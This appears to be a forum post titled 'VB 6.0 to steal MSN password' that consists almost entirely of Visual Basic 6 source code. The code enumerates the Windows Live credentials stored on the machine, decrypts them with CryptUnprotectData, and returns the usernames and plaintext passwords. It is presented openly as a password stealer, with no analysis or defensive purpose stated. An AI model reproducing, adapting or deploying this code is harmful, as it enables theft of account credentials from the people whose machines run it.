VB 6.0 to steal MSN password

This is the code:

Spoiler (Click to Hide)
Option Explicit

Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long
Private Declare Function LocalAlloc Lib "kernel32.dll" (ByVal wFlags As Long, ByVal wBytes As Long) As Long
Private Declare Function CredEnumerateW Lib "advapi32.dll" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
Private Declare Function CredFree Lib "advapi32.dll" (ByVal pBuffer As Long) As Long
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Long) As String
Private Declare Function GetVersionExA Lib "kernel32.dll" (ByRef lpVersionInformation As OSVERSIONINFO) As Long

Private Declare Sub GetMem1 Lib "MSVBVM60.DLL" (ByVal lAddress As Long, var As Byte)
Private Declare Sub CopyBytes Lib "MSVBVM60.DLL" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
Private Declare Sub PutMem4 Lib "MSVBVM60.DLL" (ByVal Dest As Long, ByVal Value As Long)


Private Type CREDENTIAL
dwFlags As Long
dwType As Long
lpstrTargetName As Long
lpstrComment As Long
ftLastWritten As Double
dwCredentialBlobSize As Long
lpbCredentialBlob As Long
dwPersist As Long
dwAttributeCount As Long
lpAttributes As Long
lpstrTargetAlias As Long
lpUserName As Long
End Type

Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type

Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Public Function pMSN() As String
Dim lMem As Long
Dim i As Long
Dim j As Long
Dim b As Byte
Dim lCount As Long
Dim lCred As Long
Dim ub As Long
Dim LPTR As Long
Dim tCred As CREDENTIAL
Dim tBlobOut As DATA_BLOB
Dim tBlobIn As DATA_BLOB
Dim sPass As String
Dim vData As Variant
Dim tOSV As OSVERSIONINFO

With tOSV
.dwOSVersionInfoSize = Len(tOSV)
Call GetVersionExA(tOSV)
If Not .dwMajorVersion + .dwMinorVersion / 10 >= 5.1 Then
Exit Function
End If
End With

lMem = LocalAlloc(&H40, 38)

vData = Array( _
&H57, &H69, &H6E, &H64, &H6F, &H77, &H73, &H4C, &H69, _
&H76, &H65, &H3A, &H6E, &H61, &H6D, &H65, &H3D, &H2A)

For i = 0 To 17
'Call RtlMoveMemory(ByVal lMem + (i * 2), CLng(vData(i)), &H1)
Call PutMem4(lMem + (i * 2), CLng(vData(i)))
Next

Call CredEnumerateW(lMem, 0, lCount, lCred)

If lCount Then
For i = ub To ub + lCount - 1
'Call RtlMoveMemory(ByVal VarPtr(LPTR), ByVal lCred + (i - ub) * 4, &H4)
Call CopyBytes(&H4, ByVal VarPtr(LPTR), ByVal lCred + (i - ub) * 4)
'Call RtlMoveMemory(ByVal VarPtr(tCred), ByVal LPTR, &H34)
Call CopyBytes(&H34, ByVal VarPtr(tCred), ByVal LPTR)


With tBlobIn
.pbData = tCred.lpbCredentialBlob
.cbData = tCred.dwCredentialBlobSize

Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, tBlobOut)

'sPass = Space(.cbData \ 2)
'Call RtlMoveMemory(ByVal StrPtr(sPass), ByVal .pbData, .cbData)
sPass = vbNullString
For j = 0 To (.cbData / 2) - 1
GetMem1 .pbData + j * 2, b
sPass = sPass & Chr(b)
Next j

End With

If Len(sPass) > 0 Then
pMSN = pMSN & "---Msn Messenger||" & StrConv(SysAllocString(tCred.lpUserName), vbFromUnicode) & "|" & sPass
End If
Next
ub = ub + lCount
End If

Call CredFree(lCred)
Call LocalFree(lMem)
End Function